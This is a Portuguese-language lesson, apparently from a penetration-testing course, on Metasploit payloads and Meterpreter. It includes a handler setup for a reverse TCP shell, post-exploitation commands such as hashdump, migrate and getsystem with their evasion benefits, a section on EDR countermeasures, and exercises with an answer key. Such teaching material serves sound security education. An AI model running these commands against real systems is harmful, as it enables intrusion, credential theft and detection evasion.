Disparar um exploit você já sabe. Mas o exploit é só a porta; o que você faz depois de atravessá-la é onde a pós-exploração começa — e é determinado pelo payload que você escolheu entregar. Esta aula aprofunda os payloads do Metasploit e apresenta a joia da coroa do framework: o Meterpreter, um payload avançado que transforma um simples acesso em uma plataforma completa de pós-exploração. Dominar o Meterpreter é dominar boa parte do trabalho que se faz dentro de um alvo comprometido.
Staged e non-staged
Primeiro, uma distinção técnica de payloads que tem consequências práticas: staged vs. non-staged (ou "single"). Um payload non-staged é enviado inteiro de uma vez — completo, autossuficiente, mas maior. Um payload staged é enviado em partes: primeiro um pequeno "stager" que estabelece a conexão e então baixa o resto ("stage") do atacante. O staged é menor no envio inicial (útil quando o espaço para o payload é limitado, como em certos buffer overflows) e mais flexível. Você reconhece a diferença na notação do Metasploit pelos separadores: windows/meterpreter/reverse_tcp (staged, com barras) versus windows/meterpreter_reverse_tcp (non-staged). Não é trivia — escolher o tipo errado para o contexto faz o payload falhar, e entender isso resolve uma classe comum de "por que não funcionou".
O handler que pesca a conexão
Para receber qualquer reverse shell ou Meterpreter, você precisa de um handler — um ouvinte no seu lado que aguarda a conexão de volta do alvo. Quando você usa um módulo de exploit com payload reverso, o Metasploit configura o handler automaticamente; mas quando o payload é entregue por outra via (um executável que você gerou, um upload manual), você precisa iniciar o handler manualmente:
use exploit/multi/handler # o handler genérico
set PAYLOAD windows/meterpreter/reverse_tcp # o payload que você espera receber
set LHOST 192.168.1.5 # seu IP (para onde o alvo conecta)
set LPORT 4444 # sua porta de escuta
exploit # começa a escutar
Esse padrão — configurar um handler para "pescar" a conexão — é onipresente no trabalho ofensivo, e você o usará sempre que gerar payloads por conta própria (aula Gerando payloads com msfvenom: shells sob medida).
Meterpreter: um payload em memória
Agora, o Meterpreter — e por que ele é revolucionário. Um shell comum te dá a linha de comando padrão do sistema (bash, cmd), o que já é ótimo, mas limitado e barulhento. O Meterpreter é um payload especial que roda inteiramente na memória (não toca o disco, dificultando a detecção baseada em arquivos) e oferece um conjunto riquíssimo de comandos de pós-exploração numa interface própria, tudo por um canal cifrado. Ele transforma a máquina comprometida numa plataforma que você opera. Os comandos essenciais do Meterpreter que você usará constantemente:
sysinfo # informações do sistema comprometido
getuid # qual usuário você é no alvo
getprivs # seus privilégios (para escalação)
ps # processos em execução
migrate <PID> # move o Meterpreter para outro processo (estabilidade/evasão)
hashdump # extrai os hashes de senha do sistema
screenshot # captura a tela do alvo
download / upload # transfere arquivos entre alvo e atacante
shell # cai para um shell de sistema comum, se precisar
getsystem # tenta escalar para privilégios de SYSTEM (Windows)
background # envia a sessão para segundo plano, sem fechá-la
hashdump, getprivs, migrate
Veja o poder concentrado aqui: hashdump extrai os hashes que você levará ao Hashcat (aula Cracking offline com John e Hashcat: quebrando hashes em escala); getprivs revela caminhos de escalação (aula Escalação de privilégios em Windows: tokens, serviços e SYSTEM); migrate move seu acesso para um processo mais estável ou mais discreto (se você comprometeu um processo que pode fechar, migrar para um processo de sistema garante persistência da sessão). O Meterpreter é, essencialmente, um canivete suíço de pós-exploração numa única interface.
Migrar para um processo estável
Um recurso conceitualmente importante é o migrate, porque ilustra uma sutileza da pós-exploração. Quando um exploit tem sucesso, seu Meterpreter roda dentro de algum processo do alvo — e se aquele processo for encerrado (o usuário fecha o programa, o serviço reinicia), você perde a sessão. Migrar o Meterpreter para um processo mais estável e de longa duração (um processo de sistema) preserva seu acesso. Além de estabilidade, migrar para um processo "normal" ajuda na evasão, pois seu código passa a residir num processo de aparência legítima. É um exemplo de como a pós-exploração exige pensar em manter o acesso, não só obtê-lo — o que nos levará à persistência (aula Persistência: garantindo que o acesso sobreviva).
Por que o EDR o caça
Do lado defensivo, o Meterpreter é um alvo prioritário de detecção, e entender por quê consolida o lado azul. Como ele roda em memória e usa técnicas de injeção, produtos de EDR (aula Evasão de EDR e Living off the Land: o estado da arte) focam em detectar exatamente seus comportamentos: injeção de processo, o padrão migrate, o tráfego de C2 característico, a extração de credenciais (hashdump toca o LSASS/SAM, disparando alertas). As contramedidas incluem EDR moderno, monitoramento de comportamento de processos (injeção e migração anômalas), proteção de credenciais (Credential Guard, que frustra o hashdump), e detecção de tráfego de C2. É por isso que o tradecraft moderno (Bloco X) investe tanto em evadir essas detecções — o Meterpreter "cru" é bem conhecido dos defensores. Com o Metasploit e o Meterpreter dominados, falta aplicar tudo num exploit real, clássico e devastador, que você já verificou lá na enumeração: o EternalBlue.
Fontes e leituras recomendadas
- Metasploit Unleashed — seção sobre Meterpreter (Offensive Security, gratuito)
- Metasploit: The Penetration Tester's Guide — capítulos de payloads e pós-exploração
- Rapid7 — documentação de payloads staged vs. non-staged
- Metasploitable e salas de pós-exploração no TryHackMe
Exercícios
-
Explique a diferença entre payloads staged e non-staged, e como a notação do Metasploit os distingue.
✓ Resposta:Non-staged é enviado inteiro de uma vez (maior, autossuficiente); staged é enviado em partes — um pequeno stager estabelece a conexão e baixa o restante (menor no envio inicial, útil quando há pouco espaço). A notação distingue por separadores: barras indicam staged (
.../meterpreter/reverse_tcp), enquanto underscores indicam non-staged (..._reverse_tcp). -
O que é um handler e quando você precisa iniciá-lo manualmente?
✓ Resposta:Um handler é o ouvinte no lado do atacante que aguarda a conexão de volta de um payload reverso. Precisa ser iniciado manualmente (via
exploit/multi/handler) quando o payload é entregue por uma via que não configura o handler automaticamente — como um executável gerado à parte ou um upload manual. -
O que torna o Meterpreter diferente e mais poderoso que um shell de sistema comum? Cite três de suas capacidades.
✓ Resposta:O Meterpreter roda inteiramente em memória (evita detecção por arquivo), usa canal cifrado e oferece uma rica interface de comandos de pós-exploração. Capacidades:
hashdump(extrai hashes),screenshot(captura tela),migrate(move-se entre processos),download/upload,getprivs. (Três quaisquer.) -
Explique o propósito do comando
migratee os dois benefícios (estabilidade e evasão) que ele proporciona.✓ Resposta:O
migratemove o Meterpreter para outro processo. Estabilidade: se o processo original for encerrado, a sessão seria perdida; migrar para um processo estável e duradouro preserva o acesso. Evasão: residir num processo de aparência legítima torna a presença menos detectável. -
Por que o Meterpreter é um alvo prioritário de detecção do Blue Team, e cite duas contramedidas correspondentes.
✓ Resposta:Porque roda em memória e usa injeção de processo, com comportamentos característicos (injeção, migração, extração de credenciais, tráfego de C2) que produtos de segurança monitoram. Contramedidas: EDR moderno com detecção de comportamento de processos e proteção de credenciais (Credential Guard, que frustra o hashdump); detecção de tráfego de C2. (Duas quaisquer.)